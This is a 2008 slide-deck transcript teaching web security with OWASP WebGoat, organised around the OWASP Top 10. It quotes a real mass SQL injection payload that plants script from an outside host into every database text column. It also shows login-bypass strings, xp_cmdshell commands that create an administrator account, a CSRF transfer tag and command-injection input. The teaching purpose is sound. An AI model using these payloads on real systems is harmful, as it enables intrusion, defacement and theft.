“blame it on the goat!” the open web application security project (owasp) webgoat teaching...

127
“Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev Director – Enterprise Architecture, Security, and Data Management Services

Post on 19-Dec-2015

219 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

“Blame it on the Goat!”

The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for

Web Application Security 10/21/2008

Marina Arseniev

Director – Enterprise Architecture, Security, and Data Management Services

Page 2: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Puzzle – What is this?"GET /programs/biosafety/bioSafety_handBook/Chapter%206-Bloodborne

%20Pathogens%20Human%20Tissue?;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F73646F2E313030306D672E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D2727207768!6!5726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F73646F2E313030306D672E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);

Page 3: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Answer• "GET

/programs/biosafety/bioSafety_handBook/Chapter%206-Bloodborne%20Pathogens%20Human%20Tissue?;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0xDECLARE @T varchar(255)'@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name'b.name from sysobjects a'syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T'@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=['+@C+']+''"></title><script src="http://sdo.1000mg.cn/csrss/w.js"></script><!--'' wh??re '+@C+' not like ''%"></title><script src="http://sdo.1000mg.cn/csrss/w.js"></script><!--''')FETCH NEXT FROM Table_Cursor INTO @T'@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

• http://www.dolcevie.com/js/converter.html

Page 4: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Do you know?• 75% of attacks today happen at the Application Layer

(Gartner).

• Many “easy hacking recipes” published on web.

• Security holes in the web application layer can make a perfectly patched and firewalled server completely vulnerable.

Page 5: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

High Schools hacked by High Schoolers http://www.privacyrights.org

• May 2007 17,400 identities breached– Two high school seniors hacked into the district's computer network

potentially compromising the personal information including Social Security numbers of students and employees.

• March 2008 35,000 identities breached– A Technical High School senior hacked into a district computer and

collected Social Security numbers and employee addresses

• May 2008 50,000 identities breached– A 15-year-old student gained access to files on a computer at

Downingtown West High School. Private information - names, addresses and Social Security numbers were accessed

Page 6: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev
Page 7: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Agenda

• Open Web Application Security Project (OWASP), WebGoat and WebScarab

• Using WebGoat to understand OWASP’s Top 10 list

• Additional Vulnerability Topics• Essentials of a Comprehensive Web

Security Program• Tools

Please use printed Glossary as needed!

Page 8: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

OWASP Overview / Getting Started

• OWASP - http://www.owasp.org overview

• WebGoat – http://localhost/WebGoat/attack

• WebScarab setup

Page 9: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

WebGoat: Introduction

How to Work with WebGoatReview page

Tomcat Configuration

Useful Tools

Page 10: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

WebGoat – Http Basics

General -> Http Basics

Execute first without WebScarab – enter your name

Start up WebScarab. Set Intercept Request and Response to see HTTP data.

WebScarab: most of the exercises use “Intercept Request”, not Response. Uncheck both for now.

Page 11: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Agenda

• Open Web Application Security Project (OWASP), WebGoat and WebScarab

• Using WebGoat to understand OWASP’s Top 10 list

• Additional Vulnerability Topics• Essentials of a Comprehensive Web

Security Program• Tools

Please use printed Glossary as needed!

Page 12: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

OWASP’s Top 10 List1. Cross Site Scripting (XSS)2. Injection Flaws

a) SQL Injection, XPATH Injection, etc3. Malicious File Execution (remote file inclusion)4. Insecure Direct Object Reference (Parameter

tampering)5. Cross Site Request Forgery (CSRF)6. Information leakage and Improper Error Handling7. Broken Authentication and Session Management8. Insecure Cryptographic Storage9. Insecure Communications10. Failure to Restrict URL Access

From OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities

Page 13: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Themes of this Talk• Learn WebGoat / WebScarab

• NEVER trust user input! Always validate!– This includes headers– Verify the type and length of parameters– Validate on server-side, not just client side

• Use whitelists instead of blacklists

• Use the principle of least privileges

• Use POST and GET appropriately

Page 14: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

This Presentation's Re-ordered Top 10 List

1. Cross Site Scripting (XSS)2. Cross Site Request Forgery (CSRF)3. Information leakage and Improper Error Handling 4. Insecure Direct Object Reference5. Failure to Restrict URL Access6. Injection Flaws

a) SQL Injection, XPATH Injection, etc7. Malicious File Execution (remote file inclusion)8. Insecure Communications9. Broken Authentication and Session Management10. Insecure Cryptographic StorageFrom

OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities

Page 15: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Websites XSS’d

• A hacker was able to insert JavaScript code into the Obama community blog section– The JavaScript would redirect the users to the Hillary

Clinton website

• Websites from FBI.gov, CNN.com, Time.com, Ebay, Yahoo, Apple computer, Microsoft, Zdnet, Wired, and Newsbytes have all had XSS bugs.

Page 16: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Cross-Site Scripting (XSS) AttacksFrom http://www.owasp.org/index.php/Top_10_2007

• “XSS flaws occur whenever an application takes user supplied data and sends it to a web browser without first validating or encoding that content. XSS allows attackers to execute script in the victim's browser which can hijack user sessions, deface web sites, possibly introduce worms, etc.”

• JavaScript, VBScript, ActiveX, HTML, or Flash are “injected” into a vulnerable application – Originates from old phishing attacks but less obvious and more

dangerous to the user/victim– More widespread now because of move to more rich Internet

applications using dynamic content and JavaScript and the latest AJAX trend

Page 17: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Cross-Site Scripting (XSS) Attacks

Page 18: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

The Impact of XSS

• Data residing on the web page can be sent anywhere in the world– Including cookies!

• Facilitates many other types of attacks– Cross-Site Request Forgery (CSRF), Session Attacks

(more later)

• Your site’s behavior can be hijacked

Page 19: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

WebGoat: XSS

Phishing with XSS“Lab: Cross Site Scripting” and “Stage 1:

Stored XSS” are the same. Do “Stage1: Stored XSS”.

Ignore “Stage 2 through Stage 6” since you need developer version.

Stored XSS Attacks – do on your own!Try <b>Name’sTitle</b> and <b>Name’s Message</b> and then Javascript <script>alert(‘hi’)</script> to see what is escaped

Page 20: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Preventing XSS• Escape all user input when it is displayed

– Escaping converts the output to harmless html • <script> becomes &lt;script&gt; • but still displayed as <script>

• Ensure your filter uses a white list approach– Filters based on blacklisting have historically been flawed– Example of white list: Accept ONLY A, B, C or 1,2,3– New encoding schemes can easily bypass filters that use

a blacklist approach

• Great XSS resource: http://ha.ckers.org/xss.html

Page 21: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

This Presentation's Re-ordered Top 10 List

1. Cross Site Scripting (XSS)2. Cross Site Request Forgery (CSRF)3. Information leakage and Improper Error Handling 4. Insecure Direct Object Reference5. Failure to Restrict URL Access6. Injection Flaws

a) SQL Injection, XPATH Injection, etc7. Malicious File Execution (remote file inclusion)8. Insecure Communications9. Broken Authentication and Session Management10. Insecure Cryptographic StorageFrom

OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities

Page 22: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Cross Site Request Forgery (CSRF)

From http://www.owasp.org/index.php/Top_10_2007 :

“A CSRF attack forces a logged-on victim's browser to send a pre-authenticated request to a vulnerable web application, which then forces the victim's browser to perform a hostile action to the benefit of the attacker. CSRF can be as powerful as the web application that it attacks. “

Page 23: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Cross Site Request Forgery (CSRF)

• Occurs when an authenticated user unknowingly initiates a request of a web application

• The request is handled as if it were intentional– Usually happens without the user being aware!

• CSRF attacks are difficult to track– Commands are executed in the context of the victim– The request comes from the user’s IP address so it is difficult to

hunt down the hacker

• The hacker is essentially given all of the user’s privileges

• XSS facilitates CSRF via “Link Injection”

Page 24: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

CSRF Example

• A hacker posts to a message board containing an image tag– <img src= “http://yourbank.com/transfer?

to_account=my_account_number&amount=all_of_your_money>

• An unsuspecting user logs into yourbank.com and authenticates

• The user then visits said message board

• A request is issued from the victim’s browser to the bank’s website

• The bank’s website transfers the user’s money to the hacker’s account

Page 25: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

WebGoat: Cross Site Request Forgery

• CSRF Exercise– Start by reading the Hints

Page 26: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Solution

• Add a secondary authentication mechanism– Such as an impossible to guess token

• Eliminate XSS vulnerability• Require a confirmation page before executing

potentially dangerous actions• Use POST as your form action and only accept

POST requests on the server for sensitive data ! – Incoming CSRF requests will fail since the parameter is in the URL

and not the post body

Page 27: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Post vs Get• Requests come in two flavors: POST & GET

– GET: parameters are sent in the URL itself. – POST: parameters are sent in the request body

• DO NOT use GET for anything that changes the server state or contains sensitive information– GET requests are logged in the web server access logs – Also shows up in the browser history– For example GET /login?

username=me&password=suparsekretpasswerd

• DO use POST for every action that changes the server state and reject all non-POST methods– <Script>, Image, Link and some other HTML tags ALWAYS use

GET. By accepting POST only on Server, vulnerability is mitigated.– Prevents unintentional actions– Most search engines won’t crawl POST forms– Helps prevent duplicate submissions

Page 28: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

This Presentation's Re-ordered Top 10 List

1. Cross Site Scripting (XSS)2. Cross Site Request Forgery (CSRF)3. Information leakage and Improper Error Handling 4. Insecure Direct Object Reference5. Failure to Restrict URL Access6. Injection Flaws

a) SQL Injection, XPATH Injection, etc7. Malicious File Execution (remote file inclusion)8. Insecure Communications9. Broken Authentication and Session Management10. Insecure Cryptographic StorageFrom

OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities

Page 29: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Chinese Olympian Gymnast Age Confusion

• He Kexin’s age is under a lot of scrutiny• Her passport shows her birth date as 1/1/1992• Using the cache from a Chinese search engine

Baidu, the Stryde Hax group found multiple Excel documents listing He’s birth date as 1/1/1994

• Assume all information can become public

Page 30: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Information Leakage and Improper Error Handling

• ANY information you give to a hacker CAN and WILL be used to hack your site

• Remove passwords or other revealing information in source code

• Application / Database Error Messages• Misconfigured servers• This information may be indexed by search

engines!

Page 31: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Application Error MessagesERROR [credit-card-db] (MySqlSystem.java:1331) - Invalid column namejava.sql.SQLException: Invalid column name ‘social_security_numbre’: select username, password, ssn from users where id = ? sun.jdbc.rowset.CachedRowSet.getColIdxByName(CachedRowSet.java:1383)\ at com.mysql.Driver.MySQLDriver.a(MySQLDriver.java:2531) at sun.jdbc.rowset.CachedRowSet.getString(CachedRowSet.java:2167) at com.ppe.db.MySqlSystem.getReciPaying(MySqlSystem.java:1318) at control.action.FindUserAction.perform(FindKeyUserAction.java:81) at org.apache.struts.action.ActionServlet.processActionPerform(ActionServlet) at org.apache.struts.action.ActionServlet.process(ActionServlet.java:1586) at org.apache.struts.action.ActionServlet.doGet(ActionServlet.java:492) at javax.servlet.http.HttpServlet.service(HttpServlet.java:740) at javax.servlet.http.HttpServlet.service(HttpServlet.java:853) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:247)

Page 32: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Misconfigured, Default Settings, Unpatched Systems

• By default, you may already be leaking information!• Includes all “infrastructure” applications

– Web Server (Apache) • Access logs are public by default• Directory listing is enabled by default

– Application Server (Tomcat, PHP, Coldfusion, etc)– Database Server (MySQL, MS-SQL, etc)

• Public accounts enabled by default for MS SQL Server– 3rd party applications (PHP message board, webmail, etc)

• Hackers look for easy access to your server– Exploit a known vulnerability if infrastructure application doesn’t have

latest patches– Gain access to server using default credentials– Use default installed “snoop” or example pages to learn more about

your server

Page 33: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Forced Directory Browsing• Try to force directory browsing by eliminating

anything past the various “/” in the URLs of your web application– If directory browsing is allowed on your web server, files

you don’t want public could be displayed or give the hacker information about your system

Page 34: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

WebGoat: Insecure Configuration

• Forced Browsing

Page 35: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Robots.txt

• robots.txt files are the first place hackers look– Robots.txt is web accessible and contains URLs

you don’t want indexed by a search engine. This might be the kind of data hackers want

– Use access controls instead

Page 36: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Google Hacking• Popularized by johnny.ihackstuff.com• Uses Google search engine and advanced

query abilities to find insecure data files and misconfigured/unpatched servers indexed on the Web

• Wikto (Sensepost) or SiteDigger (Foundstone) - free tools used along with ihackstuff’s Google Hack Database to see if anything from your domain is indexed

Page 37: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Google Hacking Demo

Administrative Computing Services
http://johnny.ihackstuff.com/ghdb.php?function=summary&cat=10http://johnny.ihackstuff.com/ghdb.php?function=detail&id=78
Page 38: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

This Presentation's Re-ordered Top 10 List

1. Cross Site Scripting (XSS)2. Cross Site Request Forgery (CSRF)3. Information leakage and Improper Error Handling 4. Insecure Direct Object Reference5. Failure to Restrict URL Access6. Injection Flaws

a) SQL Injection, XPATH Injection, etc7. Malicious File Execution (remote file inclusion)8. Insecure Communications9. Broken Authentication and Session Management10. Insecure Cryptographic StorageFrom

OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities

Page 39: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Insecure Direct Object Reference• A direct object reference occurs when a developer

exposes a reference to an internal implementation object, such as a file, directory, database record, or key, as a URL or form parameter. Attackers can manipulate those references to access other objects without authorization.

• Fancy term for parameter tampering

• Involves modifying parameters to access unauthorized materials

• E.g. /BankAccount.jsp?acct_nmbr=123– The hacker modifies the parameter to view another users

account

Page 40: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

WebGoat: Access Control Flaws

• Stage 3: Bypass Data Layer Access Control – #9 on OWASP’s Top 10

• Ignore incorrect title of “XSS”.

Page 41: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Solution• Properly validate data!

– Cookie data, URL parameters, all HTML Form data (even hidden, select, radio and checkbox types)

– Restricting length of HTML text boxes, options in select boxes, and JavaScript validation can all be easily sidestepped and are not secure

– All input data MUST be validated server side for each request – client side validation is EASILY bypassed

• Do not expose internals to the user– Such as IDs (if possible/necessary)

• Use an indirect reference map with hard to guess keys (hash)– POST /BankAccount.jsp?acct_nmbr=d83OJdm3– The server then uses the key to get the real value

• Key: d83OJdm3 value: 123

Page 42: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Use Proper Authorization

• Architect your application to check authorization with every request

• Back to the bank example– Before: select * from accounts where account_number = ?– After: select * from accounts where account_number = ? and

user_id =?

Page 43: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

This Presentation's Re-ordered Top 10 List

1. Cross Site Scripting (XSS)2. Cross Site Request Forgery (CSRF)3. Information leakage and Improper Error Handling 4. Insecure Direct Object Reference5. Failure to Restrict URL Access6. Injection Flaws

a) SQL Injection, XPATH Injection, etc7. Malicious File Execution (remote file inclusion)8. Insecure Communications9. Broken Authentication and Session Management10. Insecure Cryptographic StorageFrom

OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities

Page 44: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Failure to Restrict URL Access

• “Frequently, an application only protects sensitive functionality by preventing the display of links or URLs to unauthorized users. Attackers can use this weakness to access and perform unauthorized operations by accessing those URLs directly. “

• Can be caused by:– Improper authentication– Incorrect authorization– Unprotected admin areas

• Usually caused by easy to guess URLs

Page 45: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

WebGoat: Access Control Flaws

• Remote Admin Access – have found this on our own UCI sites. Must have done Stage 3 first and logged in as Tom.

– First, click on “Admin Functions” and see what you have access to – “Report Card” ..

– Click on WebScarab Intercept Request and add &admin=true to URL at top. Click on “Admin Function” again and see what else you can do!

Page 46: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

This Presentation's Re-ordered Top 10 List

1. Cross Site Scripting (XSS)2. Cross Site Request Forgery (CSRF)3. Information leakage and Improper Error Handling 4. Insecure Direct Object Reference5. Failure to Restrict URL Access6. Injection Flaws

a) SQL Injection, XPATH Injection, etc7. Malicious File Execution (remote file inclusion)8. Insecure Communications9. Broken Authentication and Session Management10. Insecure Cryptographic StorageFrom

OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities

Page 47: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

UCLA Security Incident

• 30,000 people affected directly; 800,000 notifications sent out 12/2006

• Unsupported/forgotten legacy web application was targeted with escalated database privileges

• Web application vulnerability exposed data online using SQL injection

• Hacked server was then used to gain access to more sensitive servers

Page 48: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Impact of SQL Injection - Dangerous

• At best: you can leak information• Depending on your configuration, a hacker can

– Delete, alter or create data– Grant access to the hacker silently– Escalate privileges and even take over the OS

Page 49: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

SQL Injection Attacks“SQL injection is a security vulnerability that occurs in the database layer of an application. Its source is the incorrect escaping of dynamically-generated string literals embedded in SQL statements. “ (Wikipedia)

Page 50: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

SQL Injection Attacks• Login Example Attack

– Text in blue is your SQL code, Text in orange is the hacker input, black text is your application code

– Login: Password:

• Dynamically Build SQL String performing authentication:– “SELECT * FROM users WHERE login = ‘” + userName

+ “’ and password= ‘” + password + “’”;

• Hacker logs in as: ‘ or ‘’ = ‘’; -- – SELECT * FROM users WHERE login = ‘’ or ‘’ = ‘’; --‘

and password=‘’

Page 51: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

WebGoat: Injection Flaws – SQL Injection

• String SQL Injection• First, enter Smith. Use the query: Smith' OR

'1'='1 to get rows, not Erwin.

• Database Backdoor• Blind SQL Injection - skip; do first char if

we have time.

Page 52: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

More Dangerous SQL Injection Attacks

• Hacker creates a Windows Account: – SELECT * FROM users WHERE login = ‘’; exec

master..xp_cmdshell 'net users username password /add';--’ and password= ’’

• And then adds himself as an administrator: – SELECT * FROM users WHERE login = ‘'; exec

master..xp_cmdshell 'net localgroup Administrators username /add';--’ and password= ‘’

• SQL Injection examples are outlined in:– http://www.spidynamics.com/papers/SQLInjectionWhitePaper.pdf

– http://www.unixwiz.net/techtips/sql-injection.html

Page 53: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Preventing SQL injection • Use Prepared Statements (aka Parameterized

Queries)– “select * from accounts where id = “ + idvs– “select * from accounts where id =?”

• Validate input– Strong typing

• If the id parameter is a number, try parsing it into an integer– Business logic validation

• If you are expecting a telephone number, test it with a Regular Expressions

Page 54: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Preventing SQL injection - Continued

• Use the principle of least privileges– If the query is reading the database, do not run the

query as a user with update permissions (dbo, drop, etc) – Quiz: Is running a Web Application as the Database

System Admin “sa” account a good practice?

• ESCAPE questionable characters (ticks, --, semi-colon, brackets, etc.)

Page 55: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Injection Impacts More Than SQL

• “Injection Flaw” is a blanket term• SQL Injection is most prevalent• Other forms:

– XPath Injection– Command Injection– LDAP (Lightweight Directory Access Protocol) Injection– DOM (Document Object Model) Injection– JSON (Javascript Object Notation) Injection– Log Spoofing– On and on and on…

Page 56: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

WebGoat: Injection Flaws

• XPath Injection

Administrative Computing Services
Do the DOM Injection, JSON Injection, XML Injection, XPath
Page 57: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

This Presentation's Re-ordered Top 10 List

1. Cross Site Scripting (XSS)2. Cross Site Request Forgery (CSRF)3. Information leakage and Improper Error Handling 4. Insecure Direct Object Reference5. Failure to Restrict URL Access6. Injection Flaws

a) SQL Injection, XPATH Injection, etc7. Malicious File Execution (remote file inclusion)8. Insecure Communications9. Broken Authentication and Session Management10. Insecure Cryptographic StorageFrom

OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities

Page 58: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Malicious File Execution• “Code vulnerable to remote file inclusion (RFI) allows

attackers to include hostile code and data, resulting in devastating attacks, such as total server compromise. Malicious file execution attacks affect PHP, XML and any framework which accepts filenames or files from users.”

• Happens when code is executed on the server from a non-trusted source– All web applications are vulnerable to malicious file execution if they

accept filenames or files from the user.

• Classic example: PHP is particularly vulnerable – Hacker visits a website that allows uploads– Hacker uploads a malicious code– Hacker learns directory structure and sends the path as a parameter– PHP code is executed on the server

• include $_REQUEST[‘filename’];

Page 59: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

WebGoat – Injection Flaws

• Command Injection– You may need to execute “ & c:\windows\system32\netstat & \

windows\system32\ipconfig. Make sure to click on “Accept Change” in WebScarab and also, click on Intercept Request to change the parameter submitted to the backend, which executes cmd.exe! The results are displayed on the result

page, at the bottom. You have to scroll to see them.

Page 60: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Impact

• Code runs as the current user for the web server– Can modify, delete anything the user has access to– Can install rootkits– Can take over the entire server if misconfigured

(a.k.a. the web server runs as root)

Page 61: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Solution• Architect and design application to avoid it.

– Never allow the design to use user-supplied input in any filename for any server-based resource (such as images, XML and XSL transform documents, or script inclusions).

– Never use a parameter to execute a Server Side Include directly

• Add firewall rules to prevent web servers making new connections to external web sites and internal systems.

• Isolate web server in its own VLAN or private subnet.

• Use an indirect object reference map

• Validate - check any user supplied files or filenames taken from the user for legitimate purposes, which cannot obviate other control

Page 62: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

This Presentation's Re-ordered Top 10 List

1. Cross Site Scripting (XSS)2. Cross Site Request Forgery (CSRF)3. Information leakage and Improper Error Handling 4. Insecure Direct Object Reference5. Failure to Restrict URL Access6. Injection Flaws

a) SQL Injection, XPATH Injection, etc7. Malicious File Execution (remote file inclusion)8. Insecure Communications9. Broken Authentication and Session Management10. Insecure Cryptographic StorageFrom

OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities

Page 63: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

Insecure Communication

• Sensitive information being sent over an unencrypted channel can be snooped very easily

• Use SSL to pass sensitive information to and from browsers

• Encrypt the transmission of email• Encrypt authentication requests

Page 64: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

WebGoat: Authentication Flaws

Basic Authentication = # 9 on OWASP’s Top 10• shows how poorly .htaccess authentication is if not using

SSL! • Learn to use WebScarab with decoding in base 64• Learn that non-SSL .htaccess is useless from hackers.• Learn that you can corrupt the base 64 encoded password

and require another password verification• Learn that you can corrupt the session.

Page 65: “Blame it on the Goat!” The Open Web Application Security Project (OWASP) WebGoat Teaching Environment for Web Application Security 10/21/2008 Marina Arseniev

This Presentation's Re-ordered Top 10 List

1. Cross Site Scripting (XSS)2. Cross Site Request Forgery (CSRF)3. Information leakage and Improper Error Handling 4. Insecure Direct Object Reference5. Failure to Restrict URL Access6. Injection Flaws

a) SQL Injection, XPATH Injection, etc7. Malicious File Execution (remote file inclusion)8. Insecure Communications9. Broken Authentication and Session Management10. Insecure Cryptographic StorageFrom

OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities

